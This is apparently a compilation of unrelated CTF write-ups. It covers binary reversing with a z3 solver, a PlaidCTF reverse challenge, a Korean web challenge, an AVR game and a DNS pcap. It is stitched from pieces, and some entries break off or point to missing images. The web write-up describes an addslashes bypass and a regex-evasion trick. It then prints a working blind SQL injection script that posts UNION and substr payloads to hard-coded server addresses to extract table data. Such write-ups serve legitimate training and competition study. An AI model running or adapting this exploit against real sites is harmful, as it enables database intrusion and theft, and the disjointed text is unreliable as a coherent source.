Playing around:```[koffiedrinker@ctf TripleRotate]$ ./prob Input : encryptcheck your input[koffiedrinker@ctf TripleRotate]$ ./prob Input : 0 0 1 0 0 0 1 0 1 1 0 1 0 1 1 0 1 1 1 0 0 0 1 0 1 0 1 1 1 0 1 0 0 0 0 1 0 0 0 1 1 0 1 1 0 1 1 0 0 0 0 0 1 1 0 1 1 1 0 0 1 0 1 0 1 0 1 1 0 0 1 0 1 0 1 0 1 0 0 0 0 1 1 1 0 1 0 0 1 1 0 0 0 0 0 1 1 1 0 1 1 0 0 0 1 1 1 1 1 1 1 1 0 1 1 1 0 1 0 1 1 0 1 0 1 0 0 1 0 0 0 1 0 0 0 1 1 0 0 1 0 1 0 0 1 0 0 1 1 0 0 0 1 1 0 1 1 1 0 0 1 0 0 1 0 1 1 0 0 1 1 0 1 1 1 1 0 1 1 1 0 1 0 1 1 0 0 1 0 0 1 0 0 0 1 0 1 0 0 0 1 check your input[koffiedrinker@ctf TripleRotate]$ cat encrypt | perl -ne 's/ //g;print' | ./prob Input : check your input*** stack smashing detected ***: ./prob terminatedSegmentation fault (core dumped)```
Some more info about `prob`:```[koffiedrinker@ctf TripleRotate]$ r2 -A prob [x] Analyze all flags starting with sym. and entry0 (aa)[x] Analyze len bytes of instructions for references (aar)[x] Analyze function calls (aac)[ ] [*] Use -AA or aaaa to perform additional experimental analysis.[x] Constructing a function name for fcn.* and sym.func.* functions (aan)) -- Use 'e asm.offset=true' to show offsets in 16bit segment addressing mode.[0x00400640]> afl0x00400578 3 36 sub.__gmon_start___224_5780x004005b0 2 16 -> 32 sym.imp.puts0x004005c0 2 16 -> 48 sym.imp.__stack_chk_fail0x004005d0 2 16 -> 48 sym.imp.printf0x004005e0 2 16 -> 48 sym.imp.fputc0x004005f0 2 16 -> 48 sym.imp.__libc_start_main0x00400600 2 16 -> 48 loc.imp.__gmon_start__0x00400610 2 16 -> 48 sym.imp.malloc0x00400620 2 16 -> 48 sym.imp.fopen0x00400630 2 16 -> 48 sym.imp.__isoc99_scanf0x00400640 1 41 entry00x00400670 6 100 fcn.004006700x004006e0 4 34 fcn.004006e00x00400704 13 370 main0x00400876 10 290 sub.malloc_8760x00400998 12 311 fcn.004009980x00400c70 4 54 fcn.00400c70[0x00400640]> izvaddr=0x00400cbc paddr=0x00000cbc ordinal=000 sz=9 len=8 section=.rodata type=ascii string=Input : vaddr=0x00400cc8 paddr=0x00000cc8 ordinal=001 sz=17 len=16 section=.rodata type=ascii string=check your inputvaddr=0x00400cd9 paddr=0x00000cd9 ordinal=002 sz=10 len=9 section=.rodata type=ascii string=Length : vaddr=0x00400ce6 paddr=0x00000ce6 ordinal=003 sz=18 len=17 section=.rodata type=ascii string=check your lengthvaddr=0x00400cfb paddr=0x00000cfb ordinal=004 sz=8 len=7 section=.rodata type=ascii string=encrypt```
It turns out that writing a write-up for a Reverse Engineering challenge is really boring. So I will just explain how the program worked and show my solution script. The decompiled code can be found at the end of this write-up if you're interested in that.
The main function takes a input string of length 9 and then asks for a length. The length is used as the output length of the `encrypt` file. Our received `encrypt` file has 201 non-whitespace chars. `malloc_876` creates three buffers of this length which will be used to for manipulations and later on they are merged in the final encrypted buffer that is written to `encrypt`. `fcn.00400998` takes our input string of 9 characters and creates a bit string from it with each bit as a 8-bit number. So for example the letter "a" would become `00 01 01 00 00 00 00 01`. This leads to a buffer of size 0x48 (9 times 8) since we have an input string of size 9. This string is then chopped up in three pieces: the first 0x17 bytes go to array 1, the next 0x18 go to array 2 and the last 0x19 go to array 3 but all in reverse.
Each of these arrays is then passed to a function where the original content (0x17 bytes for array 1 for example) is extended to the full length of the buffer (your input length). For example, array 2 is passed to `fcn.00400b22`. After extending the arrays, they are merged in one final buffer that is written to the `encrypt` file.
Since all operations on the input are reversible, we can use a SAT solver to find us an input that matches the `encrypt` file. The code below does just that and prints out a bit string which I then quickly manipulated with Perl to give the final flag.
```pythonfrom z3 import *
length = 201s = Solver()
arr_encrypted = "0 0 1 0 0 0 1 0 1 1 0 1 0 1 1 0 1 1 1 0 0 0 1 0 1 0 1 1 1 0 1 0 0 0 0 1 0 0 0 1 1 0 1 1 0 1 1 0 0 0 0 0 1 1 0 1 1 1 0 0 1 0 1 0 1 0 1 1 0 0 1 0 1 0 1 0 1 0 0 0 0 1 1 1 0 1 0 0 1 1 0 0 0 0 0 1 1 1 0 1 1 0 0 0 1 1 1 1 1 1 1 1 0 1 1 1 0 1 0 1 1 0 1 0 1 0 0 1 0 0 0 1 0 0 0 1 1 0 0 1 0 1 0 0 1 0 0 1 1 0 0 0 1 1 0 1 1 1 0 0 1 0 0 1 0 1 1 0 0 1 1 0 1 1 1 1 0 1 1 1 0 1 0 1 1 0 0 1 0 0 1 0 0 0 1 0 1 0 0 0 1".split(" ")arr0 = [] # Output arrayarr1 = [] # The three arrays used in the program...arr2 = []arr3 = []for i in range(202): print(i) arr0.append(BitVec("arr0_%i" % i, 8)) arr1.append(BitVec("arr1_%i" % i, 8)) arr2.append(BitVec("arr2_%i" % i, 8)) arr3.append(BitVec("arr3_%i" % i, 8))
i = 0for str_bit in arr_encrypted: arr0[i] = ord(str_bit) - 0x30 # Make it either 0x00 or 0x01... i += 1
print("Adding conditions...")
# Conditions from fcn.00400acfi = 0while(length - 0x17 > i): s.add(arr1[i + 0x17] == arr1[i] ^ arr1[i + 5]) i += 1
# Conditions from fcn.00400b22i = 0while(length - 0x18 > i): s.add(arr2[i + 0x18] == arr2[i] ^ (arr2[i + 1] ^ (arr2[i + 3] ^ arr2[i + 4]))) i += 1
# Conditions from fcn.00400b9bi = 0while(length - 0x19 > i): s.add(arr3[i + 0x19] == arr3[i] ^ arr3[i + 3]) i += 1
for i in range(202): # The merge that happens in malloc_876, maps the 3 arrays to the output (encrypt file) s.add(arr0[i] == ((arr1[i] & arr2[i]) ^ (arr2[i] & arr3[i])) ^ arr3[i]) # Each number is either 0 or 1 s.add(arr0[i] < 2) s.add(arr0[i] >= 0) s.add(arr1[i] < 2) s.add(arr1[i] >= 0) s.add(arr2[i] < 2) s.add(arr2[i] >= 0) s.add(arr3[i] < 2) s.add(arr3[i] >= 0)
print("Checking if solvable...")print(s.check())print("Printing model...")print(s.model())
m = s.model()print("Bitstring...")# Print first 0x17 bits of input stringfor i in range(0x17): print(m[arr1[0x16 - i]])
# Print second 0x18 bits of input stringfor i in range(0x18): print(m[arr2[0x17 - i]])
# Print final 0x19 bits of input stringfor i in range(0x19): print(m[arr3[0x18 - i]])```
Since I'm most comt comfortable with Perl, I quickly switch to it to do the final conversion to a string:```perlprint 'SECU[';print pack("B*", <DATA>);print "]\n";
__DATA__010010010101111101001100001100000111011000110011010111110111101001000101```
```bashkoffiedrinker$ perl sol.pl SECU[I_L0v3_zE]```
Flag: SECU[I_L0v3_zE]
## Decompiled code
All done by hand because I cannot afford IDA Pro.
```func main() {
printf("Input :"); scanf("%s", local_20h); // Store string at local_20h
// Calculate length in assembly, see http://www.int80h.org/strlen/ rax = assembly_calculations(local_20h);
if(rax != 9) { // if length != 9 puts("check your input\n"); // Do stack smash detection return; }
printf("Length :"); scanf("%d", local_2ch); // Store number at local_2ch if(local_2ch <= 0xc8) { // Has to be more than 200! "encrypt" file is just 201 bytes! puts("check your length\n"); // Do stack smash detection return; }
local_40h = malloc(local_2ch); // So our input, length and malloced buffer malloc_876(&local_20h, local_2ch, &local_40h);
local_38h = fopen("encrypt", "wb"); local_28h = 0; while(local_28h < local_2ch) { meh = local_40h[local_28h]; // Get a char from stringbuf if(meh == '\x00') { eax = 0x30; // "0" } else { eax = 0x31; // "1" }
fputc(eax, local_38h); fputc("\x20", local_38h);
local_28h++; }
}
func malloc_876(inputbuf, length, allocbuf) { // Function pointers... ptr_1 = 0x400acf; ptr_2 = 0x400b22; ptr_3 = 0x400b9b; ptrs[] = {ptr_1, ptr_2, ptr_3}; // local_60h
// Create three buffers of size length and store in local_40h array local_1ch = 0; QWORD local_40h[3] = (); // Array of 3 qwords while(local_1ch <= 2) { local_40h[local_1ch] = malloc(length); local_1ch++; }
fcn.00400998(&local_40h, &inputbuf);
local_18h = 0; while(local_18h <= 2) { ptrs[local_18h](local_40h[local_18h], length); // Jump to address local_18h++; }
i = 0; while(i < length) { // Does stuff on local_40h qwords and allocbuf // Probably mapping it... ecx = local_40h[0][i]; edx = local_40h[1][i]; edi = ecx & edx;
ecx = local_40h[1][i]; edx = local_40h[2][i]; edx = edx & ecx; ecx = edi ^ edx;
edx = local_40h[2][i]; allocbuf[i] = ecx ^ edx;
// Or shorter: ((0 & 1) ^ (1 & 2)) ^ 2 // allocbuf[i] = ((bufs[0][i] & bufs[1][i]) ^ (bufs[1][i] & bufs[2][i])) ^ local_40h[2][i]; i++; }}
func fcn.00400998(bufs, inputbuf) { local_50h = some buf of size 0x48, i think. dword[] local_80h = {0x00, 0x17, 0x18, 0x19};
// This loop manipulates the inputbuf and stores the manipulated // result in local_50h. i = 0;
// Convert our input into bit representation: // "a" = 00 01 01 00 00 00 00 01 => 01100001 => bin('a') while(i <= 0x47) { // 71 // Manipulating the index because our input is only 9 bytes // But we need to make the input 0x48 bytes... eax = i; edx = 7 + i; eax = edx if eax < 0; eax = eax >> 3;
// They get a byte from the inputbuf inputbuf[eax]; // They do some trickery on the byte...
local_50h[i] = the byte after manipulations. }
// This loop does trickery on the 3 bufs... j = 0; k = 0; while(j <= 2) { k = local_80h[j] + k; local_54h = local_80h[j + 1];
while(local_54 not signed) { // local_54 >= 0? bufs[j][local_54h] = local_50h; local_50h++; // Move ptr to next char in buffer local_54h--; }
j++; }}
func fcn.00400acf(buf, length) { i = 0; while(length - 0x17 > i) { ecx = buf[i + 5]; edx = buf[i]; buf[i + 0x17] = edx ^ ecx;
i++; }}
func fcn.00400b22(buf, length) { i = 0; while(length - 0x18 > i) { ecx = buf[i + 4]; edx = buf[i + 3]; ecx = ecx ^ edx; edx = buf[i + 1]; ecx = ecx ^ edx;
edx = buf[i]; ecx = ecx ^ edx;
buf[i + 0x18] = ecx;
i++; }}
func fcn.00400b9b(buf, length) { i = 0; while(length - 0x19 > i) { ecx = buf[i + 3]; edx = buf[i]; buf[i + 0x19] = edx ^ ecx;
i++; }}```
### Dynamic analysis
Some output from r2 debugger:```[0x7f1102610d70]> db 0x004008e2[0x7f1102610d70]> dcSelecting and continuing: 460Input : abcdefghiLength : 201hit breakpoint at: 4008e2[0x004008e2]> px @ rsp- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x7fffe4657700 0000 0000 0000 0000 30f8 9900 0000 0000 ........0.......0x7fffe4657710 5b00 0000 c900 0000 c077 65e4 ff7f 0000 [........we.....0x7fffe4657720 cf0a 4000 0000 0000 220b 4000 0000 0000 ..@....."[email protected] 9b0b 4000 0000 0000 e0aa 6002 117f 0000 ..@.......`.....0x7fffe4657740 10f9 9900 0000 0000 f0f9 9900 0000 0000 ................0x7fffe4657750 d0fa 9900 0000 0000 0000 0000 0000 0000 ................0x7fffe4657760 0000 0000 0300 0000 44cd 2e02 117f 0000 ........D.......0x7fffe4657770 0000 0000 0000 0000 0000 0000 0000 0000 ................0x7fffe4657780 e077 65e4 ff7f 0000 ee07 4000 0000 0000 [email protected] 0000 0000 0000 0000 ffff ffff ffff ffff ................0x7fffe46577a0 30f8 9900 0000 0000 230c 4000 0000 0000 0.......#[email protected] 0000 0000 c900 0000 0000 0000 0000 0000 ................0x7fffe46577c0 6162 6364 6566 6768 6900 4000 0000 0000 [email protected] c078 65e4 ff7f 0000 000e 796f 51ea 2c4b .xe.......yoQ.,K0x7fffe46577e0 f00b 4000 0000 0000 9122 2902 117f 0000 ..@......").....0x7fffe46577f0 0000 0000 0000 0000 c878 65e4 ff7f 0000 .........xe.....[0x004008e2]> dmsys 4K 0x0000000000400000 * 0x0000000000401000 s -r-x /data/TripleRotate/prob /data/TripleRotate/prob ; map._data_TripleRotate_prob._r_xsys 4K 0x0000000000601000 - 0x0000000000602000 s -r-- /data/TripleRotate/prob /data/TripleRotate/prob ; map._data_TripleRotate_prob._rw_sys 4K 0x0000000000602000 - 0x0000000000603000 s -rw- /data/TripleRotate/prob /data/TripleRotate/prob ; reloc.puts_0sys 132K 0x000000000099f000 - 0x00000000009c0000 s -rw- [heap] [heap]...[0x004008e2]> px @ 0x099f910- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x0099f910 0100 0000 0101 0000 0100 0000 0101 0001 ................0x0099f920 0000 0000 0101 0000 0000 0000 0000 0000 ................0x0099f930 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099f940 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099f950 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099f960 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099f970 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099f980 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099f990 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099f9a0 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099f9b0 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099f9c0 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099f9d0 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099f9e0 0000 0000 0000 0000 e100 0000 0000 0000 ................0x0099f9f0 0101 0000 0101 0001 0001 0000 0101 0000 ................0x0099fa00 0001 0000 0101 0001 0000 0000 0000 0000 ................[0x004008e2]> px @ 0x099f9f0- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x0099f9f0 0101 0000 0101 0001 0001 0000 0101 0000 ................0x0099fa00 0001 0000 0101 0001 0000 0000 0000 0000 ................0x0099fa10 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fa20 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fa30 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fa40 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fa50 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fa60 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fa70 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fa80 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fa90 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099faa0 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fab0 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fac0 0000 0000 0000 0000 e100 0000 0000 0000 ................0x0099fad0 0100 0001 0001 0100 0000 0001 0001 0100 ................0x0099fae0 0101 0100 0001 0100 0000 0000 0000 0000 ................[0x004008e2]> px @ 0x099fad0- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x0099fad0 0100 0001 0001 0100 0000 0001 0001 0100 ................0x0099fae0 0101 0100 0001 0100 0000 0000 0000 0000 ................0x0099faf0 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fb00 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fb10 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fb20 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fb30 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fb40 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fb50 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fb60 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fb70 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fb80 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fb90 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fba0 0000 0000 0000 0000 6104 0200 0000 0000 ........a.......0x0099fbb0 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fbc0 0000 0000 0000 0000 0000 0000 0000 0000 ................```
So this is what we get after fcn.00400998...
And after the calling of the three functions:```[0x004008e2]> db 0x00400913[0x004008e2]> dcSelecting and continuing: 460hit breakpoint at: 400913[0x004008e2]> px @ 0x099f910- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x0099f910 0100 0000 0101 0000 0100 0000 0101 0001 ................0x0099f920 0000 0000 0101 0000 0000 0101 0100 0100 ................0x0099f930 0001 0001 0100 0001 0000 0001 0001 0100 ................0x0099f940 0101 0100 0000 0100 0101 0101 0001 0101 ................0x0099f950 0100 0001 0001 0001 0001 0101 0100 0000 ................0x0099f960 0000 0000 0100 0100 0001 0101 0001 0000 ................0x0099f970 0101 0101 0000 0100 0100 0000 0100 0001 ................0x0099f980 0101 0001 0001 0001 0001 0000 0001 0101 ................0x0099f990 0001 0100 0001 0100 0101 0101 0100 0101 ................0x0099f9a0 0001 0001 0001 0101 0001 0101 0000 0101 ................0x0099f9b0 0000 0100 0000 0101 0001 0101 0000 0100 ................0x0099f9c0 0000 0100 0101 0100 0100 0001 0100 0100 ................0x0099f9d0 0001 0100 0101 0101 0100 0000 0000 0000 ................0x0099f9e0 0000 0000 0000 0000 e100 0000 0000 0000 ................0x0099f9f0 0101 0000 0101 0001 0001 0000 0101 0000 ................0x0099fa00 0001 0000 0101 0001 0101 0100 0100 0001 ................[0x004008e2]> px @ 0x099f9f0- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x0099f9f0 0101 0000 0101 0001 0001 0000 0101 0000 ................0x0099fa00 0001 0000 0101 0001 0101 0100 0100 0001 ................0x0099fa10 0001 0101 0000 0100 0001 0100 0001 0101 ................0x0099fa20 0101 0100 0001 0101 0000 0100 0000 0101 ................0x0099fa30 0101 0100 0100 0001 0001 0100 0000 0100 ................0x0099fa40 0001 0000 0001 0001 0101 0100 0001 0100 ................0x0099fa50 0100 0001 0000 0000 0100 0101 0101 0101 ................0x0099fa60 0001 0101 0001 0100 0000 0101 0101 0101 ................0x0099fa70 0101 0000 0101 0001 0001 0000 0100 0000 ................0x0099fa80 0001 0000 0000 0100 0101 0100 0100 0001 ................0x0099fa90 0000 0001 0101 0100 0101 0101 0101 0100 ................0x0099faa0 0101 0100 0000 0100 0000 0101 0100 0101 ................0x0099fab0 0000 0001 0100 0100 0000 0000 0000 0000 ................0x0099fac0 0000 0000 0000 0000 e100 0000 0000 0000 ................0x0099fad0 0100 0001 0001 0100 0000 0001 0001 0100 ................0x0099fae0 0101 0100 0001 0100 0000 0001 0000 0101 ................[0x004008e2]> px @ 0x099fad0- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x0099fad0 0100 0001 0001 0100 0000 0001 0001 0100 ................0x0099fae0 0101 0100 0001 0100 0000 0001 0000 0101 ................0x0099faf0 0001 0001 0000 0000 0101 0100 0100 0101 ................0x0099fb00 0001 0000 0001 0000 0101 0100 0100 0101 ................0x0099fb10 0101 0001 0100 0000 0100 0101 0000 0001 ................0x0099fb20 0101 0001 0100 0100 0100 0000 0101 0100 ................0x0099fb30 0100 0001 0101 0101 0100 0000 0001 0101 ................0x0099fb40 0001 0101 0101 0001 0000 0101 0000 0001 ................0x0099fb50 0101 0001 0101 0100 0001 0000 0100 0100 ................0x0099fb60 0001 0001 0101 0101 0100 0001 0001 0100 ................0x0099fb70 0000 0000 0101 0000 0001 0001 0000 0001 ................0x0099fb80 0100 0001 0000 0101 0000 0101 0001 0101 ................0x0099fb90 0001 0100 0101 0100 0100 0000 0000 0000 ................0x0099fba0 0000 0000 0000 0000 6104 0200 0000 0000 ........a.......0x0099fbb0 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099fbc0 0000 0000 0000 0000 0000 0000 0000 0000 ................```
So these three functions spread the "randomness" over the full buffer...
```[0x004008e2]> px @ 0x099f910- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x0099f910 0100 0000 0101 0000 0100 0000 0101 0001 ................0x0099f920 0000 0000 0101 0000 0000 0000 0000 0000 ................0x0099f930 0000 0000 0000 0000 0000 0000 0000 0000 ................0x0099f940 0000 0000 0000 0000 0000 0000 0000 0000 ................[0x004008e2]> px @ 0x099f910- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x0099f910 0100 0000 0101 0000 0100 0000 0101 0001 ................0x0099f920 0000 0000 0101 0000 0000 0101 0100 0100 ................0x0099f930 0001 0001 0100 0001 0000 0001 0001 0100 ................0x0099f940 0101 0100 0000 0100 0101 0101 0001 0101 ................0x0099f950 0100 0001 0001 0001 0001 0101 0100 0000 ................0x0099f960 0000 0000 0100 0100 0001 0101 0001 0000 ................0x0099f970 0101 0101 0000 0100 0100 0000 0100 0001 ................0x0099f980 0101 0001 0001 0001 0001 0000 0001 0101 ................0x0099f990 0001 0100 0001 0100 0101 0101 0100 0101 ................0x0099f9a0 0001 0001 0001 0101 0001 0101 0000 0101 ................0x0099f9b0 0000 0100 0000 0101 0001 0101 0000 0100 ................0x0099f9c0 0000 0100 0101 0100 0100 0001 0100 0100 ................0x0099f9d0 0001 0100 0101 0101 0100 0000 0000 0000 ................0x0099f9e0 0000 0000 0000 0000 e100 0000 0000 0000 ................0x0099f9f0 0101 0000 0101 0001 0001 0000 0101 0000 ................0x0099fa00 0001 0000 0101 0001 0101 0100 0100 0001 ................```
Note that the original bytes in the beginning stay the same...
Breaking down what 0x00400998 does:```[0x00400a47]> px @ rsp- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x7ffea61bd4a0 00d6 1ba6 fe7f 0000 80d5 1ba6 fe7f 0000 ................0x7ffea61bd4b0 0000 0000 1700 0000 1800 0000 1900 0000 ................0x7ffea61bd4c0 5b00 0000 6e00 0000 e0d4 1ba6 fe7f 0000 [...n...........0x7ffea61bd4d0 4800 0000 0000 0000 7700 0000 7c00 0000 H.......w...|...0x7ffea61bd4e0 0001 0100 0000 0001 0001 0100 0000 0100 ................0x7ffea61bd4f0 0001 0100 0000 0101 0001 0100 0001 0000 ................0x7ffea61bd500 0001 0100 0001 0001 0001 0100 0001 0100 ................0x7ffea61bd510 0001 0100 0001 0101 0001 0100 0100 0000 ................0x7ffea61bd520 0001 0100 0100 0001 00e3 3c8f 6ee8 2b55 ..........<.n.+U0x7ffea61bd530 c0d5 1ba6 fe7f 0000 e208 4000 0000 0000 [email protected] 0000 0000 0000 0000 30f8 9500 0000 0000 ........0.......0x7ffea61bd550 5b00 0000 c900 0000 00d6 1ba6 fe7f 0000 [...............0x7ffea61bd560 cf0a 4000 0000 0000 220b 4000 0000 0000 ..@....."[email protected] 9b0b 4000 0000 0000 e08a f705 817f 0000 [email protected] 10f9 9500 0000 0000 f0f9 9500 0000 0000 ................0x7ffea61bd590 d0fa 9500 0000 0000 0000 0000 0000 0000 ................```
We convert "abcdefghi" into "bit strings": a is "00 01 01 00 00 00 00 01" above at 0x...bd4e0.
We take the first 0x17 bytes and put them in reverse in arr 1, then we take the next 0x18 bytes and put them in reverse in arr 2, etc.....```local_50h0x7ffea61bd4e0 0001 0100 0000 0001 0001 0100 0000 0100 ................0x7ffea61bd4f0 0001 0100 0000 01
arr1- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x0099f910 0100 0000 0101 0000 0100 0000 0101 0001 ................0x0099f920 0000 0000 0101 00```
|
# PlaidCTF 2017: no_mo_flo### Category: Reverse, 125
> Can you go with the flow?
### Write-up
The binary expects 32 bytes input. If we enter less we get a "Short input" error message. If we enter an invalid inputthe binary will return "You aint goin with the flow...." and with the correct input ""Good flow!!".
The first thing the binary does is to split the input string into two strings.```Cfor ( i = 0; i <= 15; ++i ){ buf1[i] = buf[2 * i]; buf2[i] = buf[2 * i + 1];}```
It will when setup some signal with the sigaction syscall. Then it runs buf1 and buf2 through two different functions to validate the input.
Running the binary through strace with 32 A's as input, i noticed we got 42 SIGFPE(Floating point exception). Maybe we can use this to get the flag? I wrote a small python script to test for SIGFPE and print the input with the best score. This approach works for the characters in buf2. > ACAFAnA_AlA?AmA_AiAeAaA_A3AlAnA}
This looks like it could be a flag, the default head of the flag PCTF{ fits, and it ends with }.
I then went to the check_buf1 function to get the rest of the flag. In total 23 different checks are done on a string,which is weird since the string only have 16 characters. Some chars are checked twice with different results!?
Here the first character is checked twice, 'P' will pass the first check, and 'V' will pass the second check. I'm not sure whats going on here and i didn't debug it any further, for the characters with two possible results i simply guessed which one was likeliest to belong to the flag.
This gives us the flag:> PCTF{n0_fl0?_m0_like_ah_h3ll_n0} |
# solution
취약점 종류
1. SQL Injeciton2. php trick
sql injection escape ```phpfunction str_escape($argv){ if(is_array($argv)){ foreach ($argv as $key => $value) { if(is_array($value)){ $array[$key] = str_escape($value); } else{ $array[$key] = addslashes($value); } } } else{ $array = addslashes($argv); } return $array;}
$_GET = str_escape($_GET);$_POST = str_escape($_POST);```
action_lib.php do_delete function```phpif($mode === 'multi'){ $uploader = $_POST['uploader'];
$idx_list = array(); for($i=0; $i<=count($_POST['idx'])-1; $i++){ $idx = $_POST['idx'][$i]; $result = mysqli_fetch_array(mysqli_query($con, sqli_block("SELECT * FROM board WHERE idx='{$idx}' AND uploader_id='{$uploader}';")), MYSQLI_ASSOC); if($result['uploader_id'] === $_SESSION['id']){ $idx_list[] = $idx; } else{ alert('are you hacker?'); } } for($i=0; $i<=count($idx_list); $i++){ mysqli_query($con, sqli_block("DELETE FROM board WHERE idx='{$idx_list[$i]}';")); } die("<script>alert('Delete!');location.href='index.php';</script>");}```
여기서 idx를 POST로 idx[]=1&idx[]=2&idx[]=3 이러한 형태로 보내주는데 여기에 아무리 \나 '를 넣어봤자 sql injection은 터지지가 않는다.하지만 Array로 날라가는 형식을 String으로 보내 준다면 말이 달라진다. ex) idx=\
```php$idx = $_POST['idx'][$i];```이 부분에서 idx가 Array일 경우에는 0번째 배열이 가져와지는데 String일 경우에는 String의 0번째가 가져와지며 만약 \를 넣었을경우 escape함수 때문에 \' 로 바뀐 String에서 \가 가져와 지며 동시에 SQL Injection취약점이 터진다.
이제 SQL Injection은 찾았으면 다음은 정규식을 우회 해줘야한다.
```phpfunction sqli_block($argv){ $pattern = '/^select.*from.*where.*`?information_schema`?.*$/is'; if(preg_match($pattern, $argv)) alert('hack me if you can'); return $argv;}```이렇게 정규식을 보면 아무리 봐도 취약점이 없지만 php trick을 이용하면 말이 달라진다.사실 trick은 간단하다 그냥 뒤에 a나 String을 존나게 넣어주면 바이패스 된다.
example source code```php
```execute result```root@ubuntu:/tmp# php aa.phpbypass```
이런식으로 우회 하면된다.
exploit code```pythonimport requests
i = 1find = ""while True: _bin = "" for j in range(1, 8): #url = "http://10.211.55.3/secuinside/web2/index.php?page=delete&mode=multi" # local #url = "http://52.79.204.104/index.php?page=delete&mode=multi" # server 1 url = "http://52.79.202.247/index.php?page=delete&mode=multi" # server 2 header = {"Content-Type":"application/x-www-form-urlencoded","Cookie":"PHPSESSID=k110bp45hh27o8q1nhhj6bcr33"}
#payload union select 1,group_concat(table_name,0x3a,column_name) from information_schema.columns where table_schema=database()#"+"a"*1000000 #uploader=adm1nkyj&idx%5B%5D=16&idx%5B%5D=17 payload = { #"uploader":" union select 1,2,if(ascii(substr(group_concat(flag),{},1))={},0x61646d316e6b796a,0),4,5 from read_me#".format(i, j)+"a"*1000000, #"uploader":" union select 1,2,if(ascii(substr(group_concat(table_name),{},1))={},0x61646d316e6b796a,0),4,5 from information_schema.tables where table_schema=database()#".format(i, j)+"a"*1000000, #"uploader":" union select 1,2,if(1=1,0x61646d316e6b796a,0),4,5 from read_me#".format(i, j)+"a"*1000000, #"uploader":" union select 1,2,if(ascii(substr(group_concat(table_name),"+str(i)+",1))="+str(j)+",0x61646d316e6b796a,0),4,5 from information_schema.tables where table_schema=database()#"+"a"*1000000, #"substr(lpad(bin(ascii(substr(table_name,"+str(i)+",1))),"+str(j)+",0),1,1)" "uploader":"union select 1,2,if(substr(lpad(bin(ascii(substr(table_name,"+str(i)+",1))),7,0),"+str(j)+",1)=1,0x61646d316e6b796a,0),4,5 from information_schema.tables where table_schema=database()#"+"a"*1000000, "idx":"\\", } #print " union select 1,2,if(ascii(substr(group_concat(table_name),"+str(i)+",1))="+str(j)+",0x61646d316e6b796a,0),4,5 from information_schema.tables where table_schema=database()#" content = requests.post(url, data=payload, headers=header).text #print content if content.find('Delete!') != -1: _bin += "1" else: _bin += "0" find += chr(int(_bin, 2)) print find i += 1
``` |
# JohnnyBoy (re, 223p)
> This looks retro but somewhat futuristic! I always lose though, can you win? My friends solved this without IDA! https://youtu.be/Dem8Fq6hkAw
> chall.ino.hex
Well, this challenge was very frustrating to me. We were given a compiled AVR code,which meant we were not able to use IDA's decompiler or anything similar.
I spent hours reversing the actual logic in the code, only to notice that the game winscreen function is called with a specific argument. At the address pointed by that argument,there was a mysterious buffer of random-looking bytes. Interpreting them as black&white imagegives us flag:
 |
# For 100
Opening the PCAP file in Wireshark, we are presented with hundreds of DNS queries and responses.
After looking inside the DNS queries, I did not notice any weird values except for the query. So I extracted all queries and responses with Scapy.
```pythonfrom scapy.all import *from binascii import unhexlifyimport re
pcap = PcapReader("output.pcap")for packet in pcap: if packet[DNS].ancount > 0: for answer in packet[DNS].an: print "Answer: " + answer.rdata else: # Query query = packet[DNSQR].qname p = re.match('([a-zA-Z0-9]+)\.gzpgs\..*', query) print("Query: " + p.group(1))```
This gives us something that looks like:```Query: ASfsbGivEQsT2aQPHzaBAnswer: 126.100.179.228Query: 5GBJZEAWX7WJASGCg5BrAnswer: 77.250.124.6Query: 9TvJjPCj9kRW9fk5XU2bAnswer: 90.163.121.234Query: rvAptS4tZnjLwCNsXn5NAnswer: 143.90.186.87Query: 9jUqipSo5xgNR6EM3ZpwAnswer: 180.46.203.226...```
